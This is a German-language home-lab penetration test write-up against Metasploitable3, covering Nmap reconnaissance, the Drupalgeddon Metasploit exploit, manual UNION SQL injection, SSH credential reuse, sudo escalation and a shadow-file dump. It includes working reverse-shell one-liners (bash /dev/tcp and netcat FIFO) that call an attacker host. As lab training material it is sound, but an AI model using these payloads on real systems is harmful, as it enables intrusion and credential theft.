
Home-Lab-Penetrationstest-Bericht zu Metasploitable3 mit Nmap-Recon, Drupalgeddon RCE, SQL-Injection, SSH-Credential-Reuse, sudo-Privilegieneskalation und Reverse Shells.
Autor: Arlen Fortunato
Datum: September 2026
Umgebung: Parrot OS (Angreifer) → Metasploitable3 Ubuntu 14.04 (Ziel)
Umfang: Vollständiger Netzwerk-Penetrationstest — Enumeration, Ausnutzung, Rechteausweitung, Post-Exploitation
Typ: Heimlabor / Capture The Flag-Übung
⚠️ Alle untenstehenden Anmeldedaten sind geschwärzt. Dies war eine legale, isolierte Heimlabor-Übung.
| Tool | Rolle |
|---|---|
| Nmap | Portscan, Dienst-/Versionserkennung, OS-Fingerprinting |
| Metasploit (msfconsole) | Ausnutzung (CVE-2014-3704), Sitzungsverwaltung |
| msfvenom | Payload-Generierung (bash/netcat Reverse Shells) |
| nc (netcat) | Reverse-Shell-Listener |
| curl / sed | Manuelles SQLi-Erstellen + HTML-Ausgabeformatierung |
| ssh / scp | Remote-Zugriff, Validierung von Anmeldedaten |
| openssl s_client | TLS/SSL-Dienstverifikation |
| gobuster | Verzeichnis-Brute-Forcing (Web-Enumeration) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
| Port | Status | Dienst | Version |
|---|---|---|---|
| 21/tcp | offen | FTP | ProFTPD 1.3.5 |
| 22/tcp | offen | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | offen | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | offen | SMB | Samba smbd 3.X–4.X |
| 631/tcp | offen | IPP | CUPS 1.7 |
| 3306/tcp | offen | MySQL | MySQL (unautorisiert) |
| 3500/tcp | offen | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | offen | IRC | UnrealIRCd |
| 8080/tcp | offen | HTTP | Jetty 8.1.7.v20120910 |
Betriebssystem: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
| # | Schwachstelle | CVE / Typ | Port | Schweregrad | Ergebnis |
|---|---|---|---|---|---|
| 1 | UnrealIRCd Versions-Fingerprint — Backdoor-Sonde | CVE-2010-2075 | 6697 | ⚠️ Falsch positiv | Modul-Autocheck bestanden, manuelle Sonde fehlgeschlagen — Backdoor im Build nicht vorhanden |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Kritisch | Meterpreter-Shell als www-data |
| 3 | Payroll-App — UNION SQLi (manuell) | Manuelle Injection | 80 | 🔴 Kritisch | Vollständiger DB-Dump (15 Benutzer, Klartext-Passwörter — geschwärzt) |
| 4 | SSH — Standard- + wiederverwendete Anmeldedaten | Standard / Wiederverwendung von Anmeldedaten | 22 | 🔴 Kritisch | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | Rechteausweitung (zwei Wege) | Fehlkonfiguriertes sudo | N/A | 🔴 Kritisch | root über beide Konten |
| 6 | Shadow-Dump | Post-Exploitation | N/A | 🔴 Kritisch | 16 md5crypt-Hashes extrahiert |
| 7 | Reverse Shells (bash + netcat) | msfvenom / manuelles Erstellen | 4444/4445 | 🟠 Hoch | Interaktive Shells am Angreifer-Listener abgefangen |
Schwachstelle: UnrealIRCd 3.2.8.1 wurde historisch mit einer trojanisierten Binärdatei verbreitet, die beliebige Befehle ausführt, wenn ein nicht authentifizierter Client vor der Registrierung eine Trigger-Zeichenkette sendet — RCE als der IRC-Daemon-Benutzer.
Ausnutzungsversuch: Metasploit-Modul exploit/unix/irc/unreal_ircd_3281_backdoor mit Payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. Der Modul-Autocheck meldete den Dienst als anfällig; keine Sitzung zurückgegeben bei keinem Payload.
Durchgeführte Fehlerbehebung:
nc -vz)openssl s_client)nc gab IRC-Protokollfehler 451 zurück — Befehl wurde als IRC-Befehl geparst, nie ausgeführtSchlussfolgerung: Versionsbanner deutet auf den anfälligen Build hin, aber die Backdoor fehlt in dieser Instanz (saubere/neu kompilierte Binärdatei). Eingestuft als nicht ausnutzbar — falsch positiv, mit Nachweisen.
Schwachstelle: Drupal 7.x vor 7.32 enthält eine kritische SQL-Injection in der Datenbankabstraktionsschicht, die nicht authentifizierte Remote-Code-Ausführung ermöglicht.
Versionsbestätigung: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Ausnutzung:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Ergebnis:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Post-Exploitation-Enumeration:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 BenutzerkontenSchwachstelle: payroll_app.php Login-Formular, SQL-Injection im Passwortfeld. Keine Automatisierung verwendet — über curl erstellt.
Schritt 1 — Umgehung der Authentifizierung:
' or 1=1#
' schließt den SQL-String, or 1=1 erzwingt wahr, # kommentiert das abschließende Anführungszeichen aus.
Schritt 2 — Spaltenanzahl + Anzeige-Zuordnung:
' UNION SELECT null, null, null, null# -- kein Fehler = 4 Spalten
' UNION SELECT 1, 2, 3, 4# -- Marker: 1=Username, 2=First, 3=Last, 4=Salary
Schritt 3 — information_schema-Enumeration:
| Frage | Antwort |
|---|---|
| DB-Version / Benutzer | MySQL 5.5.62, root@localhost |
| Datenbanken | information_schema, drupal, mysql, payroll, performance_schema |
Tabellen in payroll | users |
Spalten in users | username, first_name, last_name, password, salary |
Schritt 4 — Dump (Passwörter geschwärzt):
' UNION SELECT username, password, salary, null FROM users#
| Benutzername | Passwort | Gehalt |
|---|---|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 weitere Konten) | [REDACTED] | — |
Weg 1 — Standardkonto: Standard-Anmeldedatenpaar vagrant authentifizierte sich über SSH → Benutzer in der sudo-Gruppe mit (ALL : ALL) NOPASSWD: ALL.
Weg 2 — Wiederverwendung von Anmeldedaten: Aus dem SQLi-Dump gesammelte Anmeldedaten authentifizierten sich direkt über SSH als ein anderer Laborbenutzer (luke_skywalker, sudo-Gruppe, (ALL : ALL) ALL).
Bedeutung: demonstriert dienstübergreifende Wiederverwendung von Anmeldedaten — Anwendungs-Anmeldedaten wurden auf ein Systemkonto abgebildet.
vagrant → sudo -l zeigt NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).Kein lokaler Exploit erforderlich — beide Konten besitzen übermäßig permissive sudo-Berechtigungen.
sudo cat /etc/shadow
16 md5crypt ($1$)-Hashes extrahiert — vollständige Sammlung von Anmeldedaten nach der Rechteausweitung.
Payload 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Abgefangen auf nc -lnvp 4444 → interaktive Shell.
Payload 2 — netcat (Named-Pipe):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Abgefangen auf nc -lnvp 4445 → interaktive Shell.
Mechanismus: Named Pipe (FIFO) überbrückt netcat stdin/stdout mit /bin/sh und bildet einen bidirektionalen Tunnel über einen einzigen Socket; FIFO wird danach bereinigt.